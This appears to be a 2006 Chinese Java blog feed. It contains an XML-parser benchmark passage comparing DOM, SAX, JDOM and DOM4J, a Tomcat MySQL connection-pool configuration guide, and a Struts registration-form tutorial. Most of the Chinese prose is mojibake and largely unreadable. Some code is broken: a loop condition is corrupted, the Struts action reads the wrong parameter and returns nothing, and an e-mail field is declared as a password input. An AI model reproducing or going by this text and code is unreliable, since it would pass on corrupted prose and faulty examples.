System.out.println("˜qè¡Œæ—‰™—´åQ?+(System.currentTimeMillis() - lasting)+" 毫秒");<br /> }<br />} <br /><br />  10k消耗时é—ß_¼š265 203 219 172<br />  100k消耗时é—ß_¼š9172 9016 8891 9000<br />  1000k消耗时é—ß_¼š691719 675407 708375 739656<br />  10000k消耗时é—ß_¼šOutOfMemoryError<br /><br />  接着æ˜?SAX<br /><br />  ˜q™ç§å¤„理的优炚wžå¸¸ç±»ä¼égºŽ‹¹åª’体的优点。分析能够立卛_¼€å§‹ï¼Œè€Œä¸æ˜¯ç­‰å¾…所有的数据被处理。而且åQŒç”±äºŽåº”用程序只是在è¯Õd–数据时检查数据,因此不需要将数据存储在内存中。这对于大型文档来说是个巨大的优炏V€‚事实上åQŒåº”用程序甚至不必解析整个文档;它可以在某个条äšg得到满èƒö时停止解析。一般来è¯ß_¼ŒSAX ˜q˜æ¯”它的替代è€?DOM 快许多ã€?br /><br />选择 DOM ˜q˜æ˜¯é€‰æ‹© SAX åQ?br /><br />  对于需要自å·Þq¼–写代码来处理 XML 文档的开发äh员来è¯ß_¼ŒÂ Â <br /><br /><br />   <br /><br /><br />选择 DOM ˜q˜æ˜¯ SAX 解析模型是一个非帔R‡è¦çš„设计决策ã€?<br /><br />  DOM 采用建立树åÅž¾l“构的方式访é—?XML 文档åQŒè€?SAX 采用的事件模型ã€?<br /><br />  DOM 解析器把 XML 文档转化ä¸ÞZ¸€ä¸ªåŒ…含其内容的树åQŒåƈ可以å¯ÒŽ ‘˜q›è¡ŒéåŽ†ã€‚ç”¨ DOM 解析模型的优ç‚ÒŽ˜¯¾~–程å®ÒŽ˜“åQŒå¼€å‘äh员只需要调用徏树的指ä×oåQŒç„¶åŽåˆ©ç”¨navigation APIs讉K—®æ‰€éœ€çš„æ ‘节点来完成ä“Q务。可以很å®ÒŽ˜“的添加和修改树中的元素。然而由于ä‹Éç”?DOM 解析器的时候需要处理整ä¸?XML 文档åQŒæ‰€ä»¥å¯¹æ€§èƒ½å’Œå†…存的要求比较高,ž®¤å…¶æ˜¯é‡åˆ°å¾ˆå¤§çš„ XML æ–‡äšg的时候。由于它的遍历能力,DOM 解析器常用于 XML 文档需要频¾Jçš„æ”¹å˜çš„æœåС䏭ã€?<br /><br />  SAX 解析器采用了åŸÞZºŽäº‹äšg的模型,它在解析 XML 文档的时候可以触发一¾pÕdˆ—的事ä»Óž¼Œå½“发现给定的tag的时候,它可以激‹zÖM¸€ä¸ªå›žè°ƒæ–¹æ³•,告诉该方法制定的标签已经扑ֈ°ã€‚SAX 对内存的要求通常会比较低åQŒå› ä¸ºå®ƒè®©å¼€å‘äh员自己来军_®šæ‰€è¦å¤„理的tag。特别是当开发äh员只需要处理文档中所包含的部分数据时åQŒSAX ˜q™ç§æ‰©å±•能力得到了更好的体现。但ç”?SAX 解析器的时候编码工作会比较困难åQŒè€Œä¸”很难同时讉K—®åŒä¸€ä¸ªæ–‡æ¡£ä¸­çš„多处不同数据ã€?<br /><br />  Beanæ–‡äšgåQ?br /><br /><br /><br />package com.test;<br />import org.xml.sax.*;<br />import org.xml.sax.helpers.*;<br />import javax.xml.parsers.*;<br /><br />public class MyXMLReader extends DefaultHandler {<br /><br /> java.util.Stack tags = new java.util.Stack();<br /><br /> public MyXMLReader() {<br />  super();<br /> }<br /><br /> public static void main(String args[]) {<br />  long lasting = System.currentTimeMillis();<br />  try {<br />   SAXParserFactory sf = SAXParserFactory.newInstance();<br />   SAXParser sp = sf.newSAXParser();<br />   MyXMLReader reader = new MyXMLReader();<br />   sp.parse(new InputSource("data_10k.xml"), reader);<br />  } catch (Exception e) {<br />   e.printStackTrace();<br />  }<br />  System.out.println("˜qè¡Œæ—‰™—´åQ? + (System.currentTimeMillis() - lasting) + " 毫秒");<br /> }<br /><br /> public void characters(char ch[], int start, int length) throws SAXException {<br />  String tag = (String) tags.peek();<br />  if (tag.equals("NO")) { <br />   System.out.print("车牌åïL åQ? + new String(ch, start, length));<br /> }<br /> if (tag.equals("ADDR")) {<br />  System.out.println(" 地址:" + new String(ch, start, length));<br /> }<br />}<br /><br />public void startElement(<br /> String uri,<br /> String localName,<br /> String qName,<br /> Attributes attrs) {<br />  tags.push(qName);<br /> }<br />} <br /><br /><br /><br />  10k消耗时é—ß_¼š110 47 109 78<br />  100k消耗时é—ß_¼š344 406 375 422<br />  1000k消耗时é—ß_¼š3234 3281 3688 3312<br />  10000k消耗时é—ß_¼š32578 34313 31797 31890 30328<br /><br />  然后æ˜?JDOM http://www.jdom.org/<br /><br />  JDOM çš„ç›®çš„æ˜¯æˆäØ“ Java 特定文档模型åQŒå®ƒ½Ž€åŒ–与 XML çš„äº¤äº’åÆˆä¸”æ¯”ä½¿ç”¨ DOM 实现更快。由于是½W¬ä¸€ä¸?Java 特定模型åQŒJDOM 一直得到大力推òq¿å’Œä¿ƒè¿›ã€‚正在考虑通过“Java 规范è¯äh±‚ JSR-102”将它最¾lˆç”¨ä½œâ€œJava 标准扩展”。从 2000 òq´åˆž®±å·²¾lå¼€å§‹äº† JDOM 开发ã€?br /><br />  JDOM ä¸?DOM 主要有两斚w¢ä¸åŒã€‚首先,JDOM ä»…ä‹É用具体类而不使用接口。这在某些方面简化了 APIåQŒä½†æ˜¯ä¹Ÿé™åˆ¶äº†çµ‹zÀL€§ã€‚第二,API 大量使用äº?Collections ¾c»ï¼Œ½Ž€åŒ–了那些已经熟悉˜q™äº›¾cȝš„ Java 开发者的使用ã€?br /><br />  JDOM 文档声明其目的是“ä‹Éç”?20%åQˆæˆ–æ›´å°‘åQ‰çš„¾_‘ÖŠ›è§£å†³ 80%åQˆæˆ–更多åQ‰Java/XML 问题”(æ ÒŽ®å­¦ä¹ æ›²çº¿å‡å®šä¸?20%åQ‰ã€‚JDOM 对于大多æ•?Java/XML 应用½E‹åºæ¥è¯´å½“然是有用的åQŒåƈ且大多数开发者发çŽ?API æ¯?DOM å®ÒŽ˜“理解得多。JDOM ˜q˜åŒ…括对½E‹åºè¡Œäؓ的相当广泛检查以防止用户做ä“Q何在 XML 中无意义的事。然而,它仍需要您充分理解 XML 以便做一些超出基本的工作åQˆæˆ–者甚至理解某些情况下的错误)。这也许是比学习 DOM æˆ?JDOM 接口都更有意义的工作ã€?br /><br />  JDOM 自èín不包含解析器。它通常使用 SAX2 解析器来解析和验证输å…?XML 文档åQˆå°½½Ž¡å®ƒ˜q˜å¯ä»¥å°†ä»¥å‰æž„造的 DOM è¡¨ç¤ºä½œäØ“è¾“å…¥åQ‰ã€‚它包含一些è{换器以将 JDOM 表示输出æˆ?SAX2 事äšg‹¹ã€DOM 模型æˆ?XML 文本文档。JDOM 是在 Apache 许可证变体下发布的开放源码ã€?br /><br />  Beanæ–‡äšgåQ?br /><br /><br /><br />package com.test;<br /><br />import java.io.*;<br />import java.util.*;<br />import org.jdom.*;<br />import org.jdom.input.*;<br /><br />public class MyXMLReader {<br /><br /> public static void main(String arge[]) {<br />  long lasting = System.currentTimeMillis();<br />  try {<br />   SAXBuilder builder = new SAXBuilder(); <br />   Document doc = builder.build(new File("data_10k.xml")); <br />   Element foo = doc.getRootElement(); <br />   List allChildren = foo.getChildren(); <br />   for(int i=0;iåQœallChildren.size();i++) { <br />    System.out.print("车牌åïL :" + ((Element)allChildren.get(i)).getChild("NO").getText());<br />    System.out.println(" 车主地址:" + ((Element)allChildren.get(i)).getChild("ADDR").getText());<br />   }<br />  } catch (Exception e) {<br />   e.printStackTrace();<br />  }<br />  System.out.println("˜qè¡Œæ—‰™—´åQ? + (System.currentTimeMillis() - lasting) + " 毫秒");<br /> }<br />} <br /><br /><br /><br />  10k消耗时é—ß_¼š125 62 187 94<br />  100k消耗时é—ß_¼š704 625 640 766<br />  1000k消耗时é—ß_¼š27984 30750 27859 30656<br />  10000k消耗时é—ß_¼šOutOfMemoryError<br /><br />  最后是 DOM4J http://dom4j.sourceforge.net/<br /><br />  虽然 DOM4J 代表了完全独立的开发结果,但最初,它是 JDOM 的一¿Uæ™ºèƒ½åˆ†æ”¯ã€‚å®ƒåˆåÆˆäº†è®¸å¤šè¶…å‡ºåŸºæœ?XML 文档表示的功能,包括集成çš?XPath 支持、XML Schema 支持以及用于大文档或‹¹åŒ–文档的基于事件的处理。它˜q˜æä¾›äº†æž„徏文档表示的选项åQŒå®ƒé€šè¿‡ DOM4J API 和标å‡?DOM 接口å…ähœ‰òq¶è¡Œè®‰K—®åŠŸèƒ½ã€‚ä»Ž 2000 下半òq´å¼€å§‹ï¼Œå®ƒå°±ä¸€ç›´å¤„于开发之中ã€?br /><br />  为支持所有这些功能,DOM4J 使用接口和抽象基本类æ–ÒŽ³•。DOM4J 大量使用äº?API 中的 Collections ¾c»ï¼Œä½†æ˜¯åœ¨è®¸å¤šæƒ…况下åQŒå®ƒ˜q˜æä¾›ä¸€äº›æ›¿ä»£æ–¹æ³•以允许更好的性能或更直接的编码方法。直接好处是åQŒè™½ç„?DOM4J 付出了更复杂çš?API çš„ä»£ä»øP¼Œä½†æ˜¯å®ƒæä¾›äº†æ¯?JDOM 大得多的灉|´»æ€§ã€?br /><br />  在添加灵‹zÀL€§ã€XPath 集成和对大文档处理的目标æ—Óž¼ŒDOM4J 的目标与 JDOM 是一æ ïLš„åQšé’ˆå¯?Java 开发者的易用性和直观操作。它˜q˜è‡´åŠ›äºŽæˆäØ“æ¯?JDOM 更完整的解决æ–ÒŽ¡ˆåQŒå®žçŽ°åœ¨æœ¬è´¨ä¸Šå¤„ç†æ‰€æœ?Java/XML 问题的目标。在完成该目标时åQŒå®ƒæ¯?JDOM æ›´å°‘å¼ø™°ƒé˜²æ­¢ä¸æ­£¼‹®çš„应用½E‹åºè¡ŒäØ“ã€?br /><br />  DOM4J 是一个非帔Ržå¸æ€¼˜¿U€çš„Java XML APIåQŒå…·æœ‰æ€§èƒ½ä¼˜å¼‚、功能强大和极端易用使用的特点,同时它也是一个开放源代码的èÊY件。如今你可以看到­‘Šæ¥­‘Šå¤šçš?Java 软äšg都在使用 DOM4J 来读å†?XMLåQŒç‰¹åˆ«å€¼å¾—一提的是连 Sun çš?JAXM 也在ç”?DOM4Jã€?br /><br />  Beanæ–‡äšgåQ?br /><br /><br /><br />package com.test;<br /><br />import java.io.*;<br />import java.util.*;<br />import org.dom4j.*;<br />import org.dom4j.io.*;<br /><br />public class MyXMLReader {<br /><br /> public static void main(String arge[]) {<br />  long lasting = System.currentTimeMillis();<br />  try {<br />   File f = new File("data_10k.xml");<br />   SAXReader reader = new SAXReader();<br />   Document doc = reader.read(f);<br />   Element root = doc.getRootElement();<br />   Element foo;<br />   for (Iterator i = root.elementIterator("VALUE"); i.hasNext();) {<br />    foo = (Element) i.next();<br />    System.out.print("车牌åïL :" + foo.elementText("NO"));<br />    System.out.println(" 车主地址:" + foo.elementText("ADDR"));<br />   }<br />  } catch (Exception e) {<br />   e.printStackTrace();<br />  }<br />  System.out.println("˜qè¡Œæ—‰™—´åQ? + (System.currentTimeMillis() - lasting) + " 毫秒");<br /> }<br />} <br /><br /><br /><br />  10k消耗时é—ß_¼š109 78 109 31<br />  100k消耗时é—ß_¼š297 359 172 312<br />  1000k消耗时é—ß_¼š2281 2359 2344 2469<br />  10000k消耗时é—ß_¼š20938 19922 20031 21078<br /><br />  JDOM å’?DOM 在性能‹¹‹è¯•时表çŽîC¸ä½»I¼Œåœ¨æµ‹è¯?10M 文档时内存溢出。在ž®æ–‡æ¡£æƒ…况下˜q˜å€¼å¾—考虑使用 DOM å’?JDOM。虽ç„?JDOM 的开发者已¾lè¯´æ˜Žä»–们期望在正式发行版前专注性能问题åQŒä½†æ˜¯ä»Žæ€§èƒ½è§‚点来看åQŒå®ƒ¼‹®å®žæ²¡æœ‰å€¼å¾—推荐之处。另外,DOM 仍是一个非常好的选择。DOM 实现òq¿æ³›åº”用于多¿Uç¼–½E‹è¯­­a€ã€‚它˜q˜æ˜¯è®¸å¤šå…¶å®ƒä¸?XML 相关的标准的基础åQŒå› ä¸ºå®ƒæ­£å¼èŽ·å¾— W3C 推荐åQˆä¸ŽåŸÞZºŽéžæ ‡å‡†çš„ Java 模型相对åQ‰ï¼Œæ‰€ä»¥åœ¨æŸäº›¾cÕdž‹çš„项目中可能也需要它åQˆå¦‚åœ?JavaScript 中ä‹Éç”?DOMåQ‰ã€?br /><br />  SAX表现较好åQŒè¿™è¦ä¾èµ–于它特定的解析方式。一ä¸?SAX ‹‚€‹¹‹å³ž®†åˆ°æ¥çš„XML‹¹ï¼Œä½†åƈ没有载入到内存(当然当XML‹¹è¢«è¯Õd…¥æ—Óž¼Œä¼šæœ‰éƒ¨åˆ†æ–‡æ¡£æš‚时隐藏在内存中åQ‰ã€?br /><br />  无疑åQŒDOM4J是这场测试的莯‚ƒœè€…,目前许多开源项目中大量采用 DOM4JåQŒä¾‹å¦‚大名鼎鼎的 Hibernate 也用 DOM4J 来读å?XML 配置文äšg。如果不考虑可移植性,那就采用DOM4J吧!</td> </tr> </tbody> </table> <img src ="http://www.aygfsteel.com/frankboy/aggbug/64601.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/frankboy/" target="_blank">frankboy</a> 2006-08-20 12:34 <a href="http://www.aygfsteel.com/frankboy/archive/2006/08/20/64601.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>TOMCAT中数据库˜qžæŽ¥æ± çš„配置http://www.aygfsteel.com/frankboy/archive/2006/01/12/27750.htmlfrankboyfrankboyThu, 12 Jan 2006 06:20:00 GMThttp://www.aygfsteel.com/frankboy/archive/2006/01/12/27750.htmlhttp://www.aygfsteel.com/frankboy/comments/27750.htmlhttp://www.aygfsteel.com/frankboy/archive/2006/01/12/27750.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/27750.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/27750.html2åQŽåœ¨server.xml中设¾|®æ•°æ®æºåQŒä»¥MySQLæ•°æ®åº“äØ“ä¾‹ï¼Œå¦‚ä¸‹åQ?BR>åœ?lt;GlobalNamingResources> </GlobalNamingResources>节点中加入,
      <Resource
      name="jdbc/DBPool"
      type="javax.sql.DataSource"
      password="root"
      driverClassName="com.mysql.jdbc.Driver"
      maxIdle="2"
      maxWait="5000"
      username="root"
      url="jdbc:mysql://127.0.0.1:3306/test"
      maxActive="4"/>
   å±žæ€§è¯´æ˜Žï¼šnameåQŒæ•°æ®æºåç§°åQŒé€šå¸¸å–”jdbc/XXX”的格式åQ?BR>            typeåQŒâ€javax.sql.DataSourceâ€?
            passwordåQŒæ•°æ®åº“用户密码åQ?BR>            driveClassNameåQŒæ•°æ®åº“驱动åQ?BR>            maxIdleåQŒæœ€å¤§ç©ºé—²æ•°åQŒæ•°æ®åº“˜qžæŽ¥çš„æœ€å¤§ç©ºé—²æ—¶é—´ã€‚è¶…˜q‡ç©ºé—²æ—¶é—ß_¼Œæ•°æ®åº“连
                     æŽ¥å°†è¢«æ ‡è®îCؓ不可用,然后被释放。设ä¸?表示无限制ã€?BR>            MaxActiveåQŒè¿žæŽ¥æ± çš„æœ€å¤§æ•°æ®åº“˜qžæŽ¥æ•°ã€‚设ä¸?表示无限制ã€?BR>            maxWait åQŒæœ€å¤§å¾ç«‹è¿žæŽ¥ç­‰å¾…时间。如果超˜q‡æ­¤æ—‰™—´ž®†æŽ¥åˆ°å¼‚常。设ä¸?1表示
                     æ— é™åˆ¶ã€?BR>3åQŽåœ¨ä½ çš„web应用½E‹åºçš„web.xml中设¾|®æ•°æ®æºå‚考,如下åQ?BR>  åœ?lt;web-app></web-app>节点中加入,
  <resource-ref>
    <description>MySQL DB Connection Pool</description>
    <res-ref-name>jdbc/DBPool</res-ref-name>
    <res-type>javax.sql.DataSource</res-type>
    <res-auth>Container</res-auth>
    <res-sharing-scope>Shareable</res-sharing-scope>
 </resource-ref>
  å­èŠ‚ç‚¹è¯´æ˜Žï¼š descriptionåQŒæ˜qîC¿¡æ¯ï¼›
               res-ref-nameåQŒå‚考数据源名字åQŒåŒä¸Šä¸€æ­¥çš„属性nameåQ?BR>               res-typeåQŒèµ„源类型,”javax.sql.DataSource”;
               res-authåQŒâ€Container”;
               res-sharing-scopeåQŒâ€Shareable”;
4åQŽåœ¨web应用½E‹åºçš„context.xml中设¾|®æ•°æ®æºé“¾æŽ¥åQŒå¦‚下:
  åœ?lt;Context></Context>节点中加入,
  <ResourceLink
   name="jdbc/DBPool" 
   type="javax.sql.DataSource" 
   global="jdbc/DBPool"/>
   å±žæ€§è¯´æ˜Žï¼šnameåQŒåŒ½W?步和½W?步的属性nameå€û|¼Œå’Œå­èŠ‚ç‚¹res-ref-nameå€û|¼›
             typeåQŒåŒæ ·å–”javax.sql.DataSource”;
             globalåQŒåŒname倹{€?BR> 
è‡Ïx­¤åQŒè®¾¾|®å®Œæˆï¼Œä¸‹é¢æ˜¯å¦‚何ä‹É用数据库˜qžæŽ¥æ± ã€?BR>1åQŽå¾ç«‹ä¸€ä¸ªè¿žæŽ¥æ± ¾c»ï¼ŒDBPool.javaåQŒç”¨æ¥åˆ›å»ø™¿žæŽ¥æ± åQŒä»£ç å¦‚下:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;

public class DBPool {
    private static DataSource pool;
    static {
         Context env = null;
          try {
              env = (Context) new InitialContext().lookup("java:comp/env");
              pool = (DataSource)env.lookup("jdbc/DBPool");
              if(pool==null) 
                  System.err.println("'DBPool' is an unknown DataSource");
               } catch(NamingException ne) {
                  ne.printStackTrace();
          }
      }
    public static DataSource getPool() {
        return pool;
    }
}

2åQŽåœ¨è¦ç”¨åˆ°æ•°æ®åº“操作的类或jsp™åµé¢ä¸­ï¼Œç”¨DBPool.getPool().getConnection()åQŒèŽ·å¾—ä¸€ä¸ªConnection对象åQŒå°±å¯ä»¥˜q›è¡Œæ•°æ®åº“操作,最后别忘了对Connection对象调用close()æ–ÒŽ³•åQŒæ³¨æ„ï¼š˜q™é‡Œä¸ä¼šå…³é—­˜q™ä¸ªConnectionåQŒè€Œæ˜¯ž®†è¿™ä¸ªConnection攑֛žæ•°æ®åº“连接池ã€?BR>

]]>
Struts初步知识http://www.aygfsteel.com/frankboy/archive/2006/01/10/27388.htmlfrankboyfrankboyTue, 10 Jan 2006 06:59:00 GMThttp://www.aygfsteel.com/frankboy/archive/2006/01/10/27388.htmlhttp://www.aygfsteel.com/frankboy/comments/27388.htmlhttp://www.aygfsteel.com/frankboy/archive/2006/01/10/27388.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/27388.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/27388.html1.如何安装StrutsåQ?
    首先åˆ?A >http://jakarta.apache.org/Struts下蝲StrutsåQŒå¾è®®ä‹É用releaseç‰ˆï¼ŒçŽ°åœ¨æœ€é«˜ç‰ˆæœ¬äØ“1.2.6åQŒæœ‰å¤šç§OS版本(windows,linus...),下蝲后解压开来,可以看到˜q™ä¸ªç›®å½•åQšlibå’ŒwebappsåQŒwebapps下有一些WARæ–‡äšg。假设你的Tomcat装在c:Tomcat下,则将那些WARæ–‡äšg拯‚´åˆ°C:TomcatwebappsåQŒé‡æ–°å¯åЍTomcat卛_¯ã€‚打开‹¹è§ˆå™¨ï¼Œåœ¨åœ°å€æ ä¸­è¾“å…¥åQ?A href="http://localhost:8080/Struts-example/index.jsp">http://localhost:8080/Struts-example/index.jspåQŒè‹¥èƒ½è§åˆ°â€œpowered by Struts”的æ·Þp“è‰²å›¾æ ‡ï¼ŒåŒ™¯´æ˜ŽæˆåŠŸäº†ã€‚è¿™æ˜¯Struts自带的一个例子,附有详细的说明文档,可以做äؓ初学者的入门教程。另外,Struts˜q˜æä¾›äº†ä¸€¾pȝ»Ÿå®žç”¨å¯¹è±¡åQšXML处理、通过Java reflection APIs自动处理JavaBeans属性、国际化的提½Cºå’Œæ¶ˆæ¯½{?


2.¾lƒä¹ åšä¸€ä¸ªå®žä¾‹ï¼š
    一个用æˆäh³¨å†Œç³»¾lŸï¼Œç”¨æˆ·é€šè¿‡¾|‘页输入相关信息åQšæ³¨å†ŒIDåøP¼Œå¯†ç åQŒEMAILåQŒè‹¥æ³¨å†ŒæˆåŠŸåQŒåˆ™˜q”回成功提示信息åQŒåä¹‹å‡ºçŽ°æ³¨å†Œå¤±è´¥æ½CÞZ¿¡æ¯ã€?
以下是相å…Ïx–‡ä»¶çš„部分核心代码ã€?


™å¹ç›®å»ºç«‹åQ?
正式开发前åQŒéœ€è¦åœ¨TocmatåQˆæˆ‘çš„tomcat装在c: omcatåQ‰ä¸­å»ºç«‹æ­¤é¡¹ç›®ã€‚比较快的一¿Uå¾ç«‹æ–¹å¼äØ“åQšåœ¨C: omcatwebapps下新建目录teståQŒå†ž®†C: omcatwebappsstruts-example下的
WEB-INF目录拯‚´åˆ°test目录下,然后ž®†testWEB-INF下的srcå’Œclasses目录清空åQŒä»¥åŠstruts-config.xmlæ–‡äšg中内å®Òޏ…½Iºå³å¯ã€‚è¿™æ øP¼Œæˆ‘们需要的Struts¾cÕdŒ…及相关的配置文äšgž®±éƒ½é½äº†ã€?
开发时åQŒå°†JSPæ–‡äšg攑֜¨test目录下,Java原文件放在testWEB-INFsrc下,¾~–译后的¾cÀL–‡ä»¶æ”¾åœ¨testWEB-INFclasses下ã€?


注册™åµé¢åQšreguser.jsp


<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib uri="/WEB-INF/Struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/Struts-html.tld" prefix="html" %>
<html:html locale="true">
<head>
<title>RegUser</title>
<html:base/>
</head>
<body bgcolor="white">
<html:errors/>
<html:form action="/regUserAction" focus="logname">
<table border="0" width="100%">
<tr>
<th align="right">
Logname:
</th>
<td align="left">
<html:text property="logname" size="20" maxlength="20"/>
</td>
</tr>
<tr>
<th align="right">
Password:
</th>
<td align="left">
<html:password property="password" size="20" maxlength="20"/>
</td>
</tr>
<tr>
<th align="right">
E-mail:
</th>
<td align="left">
<html:password property="email" size="30" maxlength="50"/>
</td>
</tr>
<tr>
<td align="right">
<html:submit property="submit" value="Submit"/>
</td>
<td align="left">
<html:reset/>
</td>
</tr>
</table>
</html:form>
</body>
</html:html>


æ­¤JSP™åµé¢ä¸åŒäºŽæ™®é€šçš„JSP™åµï¼Œå› äؓ它大量运用了taglibåQŒè¿™äº›taglib对初学者而言åQŒå¯èƒ½éš¾äºŽæŽŒæ¡ï¼Œå¯è¿™å´æ˜¯Struts的精华之一。灵‹z»è¿ç”¨ï¼Œž®†å¤§å¤§æé«˜å¼€å‘效率ã€?


Struts-config.xmlåQ?


<Struts-config>
<form-beans>
<form-bean name="regUserForm"
type="org.cjea.Struts.example. RegUserForm "/>
</form-beans>
<action-mappings>
<action path="/regUserAction"
type=" org.cjea.Struts.example.RegUserAction "
attribute=" regUserForm "
scope="request"
validate="false">
<forward name="failure" path="/ messageFailure.jsp"/>
<forward name="success" path="/ messageSuccess.jsp"/>
</action>
</action-mappings>
</Struts-config>


Struts的核心是ControlleråQŒå³ActionServletåQŒè€ŒActionServlet的核心就是Struts-config.xmlåQŒStruts-config.xmlé›†ä¸­äº†æ‰€æœ‰é¡µé¢çš„å¯ÆDˆªå®šä¹‰ã€‚对于大型的WEB™å¹ç›®åQŒé€šè¿‡æ­¤é…¾|®æ–‡ä»¶å³å¯è¿…速把握其脉络åQŒè¿™ä¸ç®¡æ˜¯å¯¹äºŽå‰æœŸçš„开发,˜q˜æ˜¯åŽæœŸçš„维护或升çñ”都是大有裨益的。掌握Struts-config.xml是掌握Struts的关键所在ã€?


FormBeanåQšRegUserForm


package org.cjea.Struts.example;


import javax.Servlet.http.HttpServletRequest;
import org.apache.Struts.action.ActionForm;
import org.apache.Struts.action.ActionMapping;


public final class RegUserForm extends ActionForm{


private String logname;
private String password;
private String email;


public RegUserForm(){
logname = null;
password = null;
email = null;
}


public String getLogName() {
return this.logname;
}
public void setLogName(String logname) {
this.logname = logname;
}
public void setPassWord(String password) {
this.password = password;
}
public String getPassWord() {
return this.password;
}
public void setEmail(String email) {
this.email = email;
}
public String getEmail() {
return this.email;
}


public void reset(ActionMapping mapping, HttpServletRequest request)
{
logname = null;
password = null;
email = null;
}
}


每一个FormBean 都必™åȝ‘ô承ActionForm¾c»ï¼ŒFormBean是对™åµé¢è¯äh±‚的封装。即把HTTP request ž®è£…在一个对象中åQŒéœ€è¦è¯´æ˜Žçš„一点就是多个HTTP request可以å…Þq”¨ä¸€ä¸ªFormBeanåQŒä¾¿äºŽç»´æŠ¤å’Œé‡ç”¨ã€?


ActionBeanåQšRegUserAction


package org.cjea.Struts.example;


import javax.Servlet.http.*;
import org.apache.Struts.action.*;


public final class RegUserAction extends Action
{


public ActionForward perform(ActionMapping mapping,
ActionForm form, HttpServletRequest req,
HttpServletResponse res)
{
String title = req.getParameter("title");
String password = req.getParameter("password");
String email = req.getParameter("email");
/*
取得用户è¯äh±‚,做相应数据库操作åQŒç•¥
*/
}
}


FormBeançš„äñ”生是ä¸ÞZº†æä¾›æ•°æ®¾l™ActionBeanåQŒåœ¨ActionBean中可以取得FormBean中封装的数据åQŒç»ç›¸åº”的逻辑处理后,调用业务æ–ÒŽ³•完成相应业务要求ã€?


Servlet的演变:在常规的 JSPåQŒServletåQŒJavaBean三层¾l“构中,JSP实现View的功能,Servlet实现Controller的功能,JavaBean实现Model的实现ã€?


在Struts中,ž®†å¸¸è§„情况下的Servlet拆分与ActionServlet、FormBean、ActionBean三个部分。ActionServlet配合Struts-config.xmlåQŒä¸“职完成页面导航,而不再负责具体的数据获取与相应逻辑åQŒè¿™ä¸¤éƒ¨åˆ†åŠŸèƒ½ç”±FormBeanå’ŒActionBean来完成ã€?


3.Struts优缺�
优点åQ?
Strutsè·ŸTomcat、Turbine½{‰è¯¸å¤šApache™å¹ç›®ä¸€æ øP¼Œæ˜¯å¼€æºèÊYä»Óž¼Œ˜q™æ˜¯å®ƒçš„一大优炏V€‚ä‹É开发者能更深入的了解其内部实现机制ã€?
除此之外åQŒStruts的优点主要集中体现在两个斚w¢åQšTaglib和页面导航。Taglib是Struts的标记库åQŒçµ‹zÕdŠ¨ç”¨ï¼Œèƒ½å¤§å¤§æé«˜å¼€å‘æ•ˆçŽ‡ã€‚å¦å¤–ï¼Œž®Þq›®å‰å›½å†…çš„JSP开发者而言åQŒé™¤äº†ä‹É用JSP自带的常用标记外åQŒå¾ˆž®‘开发自å·Þqš„æ ‡è®°åQŒæˆ–许Struts是一个很好的èµïL‚¹ã€?
关于™åµé¢å¯ÆDˆªåQŒæˆ‘è®¤äØ“é‚£å°†æ˜¯ä»ŠåŽçš„ä¸€ä¸ªå‘å±•æ–¹å‘ï¼Œäº‹å®žä¸Šï¼Œ˜q™æ ·åšï¼Œä½¿ç³»¾lŸçš„脉络更加清晰。通过一个配¾|®æ–‡ä»Óž¼Œå›_¯æŠŠæ¡æ•´ä¸ª¾pȝ»Ÿå„部分之间的联系åQŒè¿™å¯¹äºŽåŽæœŸçš„维护有着莫大的好处。尤其是当另一批开发者接手这个项目时åQŒè¿™¿Uä¼˜åŠ¿ä½“çŽ°å¾—æ›´åŠ æ˜Žæ˜¾ã€?
¾~ºç‚¹åQ?
Taglib是Struts的一大优势,但对于初学者而言åQŒå´éœ€è¦ä¸€ä¸ªæŒ¾l­å­¦ä¹ çš„˜q‡ç¨‹åQŒç”šè‡Œ™¿˜ä¼šæ‰“ä¹×ƒ½ ¾|‘页¾~–写的习惯,但是åQŒå½“你习惯了它时åQŒä½ ä¼šè§‰å¾—它真的很棒ã€?
Strutsž®†MVCçš„Controllerä¸€åˆ†äØ“ä¸‰ï¼Œåœ¨èŽ·å¾—ç»“æž„æ›´åŠ æ¸…æ™°çš„åŒæ—¶åQŒä¹Ÿå¢žåŠ äº†ç³»¾lŸçš„复杂度ã€?
Struts从äñ”生到现在˜q˜ä¸åˆ°åŠòqß_¼Œä½†å·²é€æ­¥­‘Šæ¥­‘Šå¤š˜qç”¨äºŽå•†ä¸šèÊY件。虽然它现在˜q˜æœ‰ä¸å°‘¾~ºç‚¹åQŒä½†å®ƒæ˜¯ä¸€¿Uéžå¸æ€¼˜¿U€çš„J2EE MVC实现方式åQŒå¦‚果你的系¾lŸå‡†å¤‡é‡‡ç”¨J2EE MVCæž¶æž„åQŒé‚£ä¹ˆï¼Œä¸å¦¨è€ƒè™‘一下Strutsã€?


4.Struts实施¾léªŒåQ?
1)、基于Struts架构的项目开发,首先需要有一个很好的整体规划åQŒæ•´ä¸ªç³»¾lŸä¸­åŒ…括哪几个模块,每个模块各需要多ž®‘FormBeanå’ŒActionBean½{‰ï¼Œè€Œä¸”最好有专ähè´Ÿè´£Struts-config.xml的管理。开发基于Struts的项目的隄¡‚¹åœ¨äºŽé…ç½®½Ž¡ç†åQŒå°¤å…¶æ˜¯å¯¹Struts-config.xml的管ç?


2)、如果你的项目非常紧åQŒåƈ且项目组中又没有富有¾léªŒçš„Struts开发ähå‘˜ï¼Œå»ø™®®ä¸è¦å†’然采用Struts。Struts的掌握需要一个过½E‹ï¼Œå¯¹äºŽä¸€ä¸ªç†Ÿ¾lƒçš„JSP½E‹åºå‘˜ï¼Œè‡ªå­¦å¤§æ¦‚需要半个月左右的时间。如果结合titlsåQŒåˆ™éœ€è¦æ›´é•¿çš„æ—‰™—´


